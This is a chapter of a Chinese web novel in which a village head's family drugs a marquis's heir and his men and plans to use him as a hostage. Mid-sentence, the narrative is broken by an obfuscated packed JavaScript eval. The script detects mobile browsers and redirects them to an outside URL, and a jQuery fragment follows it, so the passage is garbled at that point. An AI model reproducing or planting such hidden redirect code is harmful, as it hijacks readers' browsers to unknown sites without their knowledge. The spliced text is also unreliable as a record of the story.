裴永昭突然想起,跟他一同前来的人除了留在张石匠家的,还有十余人,好像进了村长家后,并没有看到他们。 “其他几位大人已经被安排到周围房子宽敞些的村户家歇脚了,大人您尽管放心。” 点了点头,裴永昭扶着头晃了晃道:“好。” “大人,今晚您就宿在这里,这屋里我那老婆子跟儿媳都已经打扫干净,重新换了被褥。”说着,村长见裴永昭不再回应,便敛声退了出去。 村长来到西厢房,里面是儿子跟他家老婆子。 “老头子,怎么样了?” “成了。” “柱子,那几个呢?”村长看了眼正埋头吃饭的儿子,问道。 “都放倒了,在二胜家关着呢。” “老头子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621389|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定堂屋里那个是庆北侯世子?”村长媳妇倒了杯水递给他“你咋看出来的?” 接过茶水,村长坐下道:“应该不会错,张石匠说过,这雕像重要,庆北侯派人来传过信,到时候会让世子亲自来押送回城。 “蒋彦铮那奸贼,没想到歹竹出了好笋,这儿子倒是仪表不凡,可惜了,生在了这样一户人家。” 村长略有些惋惜的道。 “快别说那些没用的,柱子,你爹说那尊观音像没了,你们把它放哪了?”村长媳妇瞥了村长一眼,随即望向狼吞虎咽的儿子。 柱子嘴里塞的满满的,抬头疑惑的看向他娘,等他艰难的咽下去,才开口道:“娘,我们没动那观音像。” 他没说谎,那尊观音像光是高就九尺,就是几个年轻的劳力能合力将其运出来,一时之间也找不到合适的地方安放它。 “哎?奇了怪了,那么大的雕像,怎么可能不翼而飞,明明我傍晚的时候还亲自去看过。”村长疑惑的挠着头顶。 “会不会是蒋彦铮的人?”柱子已经放下筷子,不假思索道。 “不会,这些时日张石匠家周围一直有咱们的人看着,来往通信咱们都知道。”而今日来的人,刚到村头便被他们拦下,还没来得及到张石匠家。村长摇了摇头,否定了柱子的猜测。 “那会不会是那个叛徒早就有所准备?”柱子顿了片刻,猜测道。 “那些都是后话,目前最为重要的,便是救出少主要紧。” “老头子,你有几分把握,那可是迁州城,不是咱们固安县。”村长媳妇忐忑的问道。 村长呷了一口茶水,叹气道:“也就五分吧,可就算是拼上性命,也得将少主救出来。不然咱们怎么对得起主子的在天之灵?” 柱子想起什么,指着堂屋方向道:“爹,你说咱们若是以那老贼的儿子作筹码要挟他将少主放了,可不可行?” 村长凝思片刻,顺着柱子手指的方向望去,“就怕那老贼不搭茬,听说前几日他又冒出来个儿子,这个儿子便不值钱了。” 蒋敬文不学无术,虽然他常常嘲讽裴永昭是文武不通的废物,可事实上他与之前的裴永昭也是半斤对八两罢了。至少之前的裴永昭不会流连烟花之地,作风上没有什么值得诟病的。 “要不先留那小子一条狗命,试试能不能换回少主,若是能成,也是那小子的造化,到时候就给他个痛快的。”村长最后还是决定暂时留裴永昭一命,看看他到时候还能不能废物利用一下。 裴永昭睡梦中打了个喷嚏,紧了紧身上的被子,翻了个身继续睡。”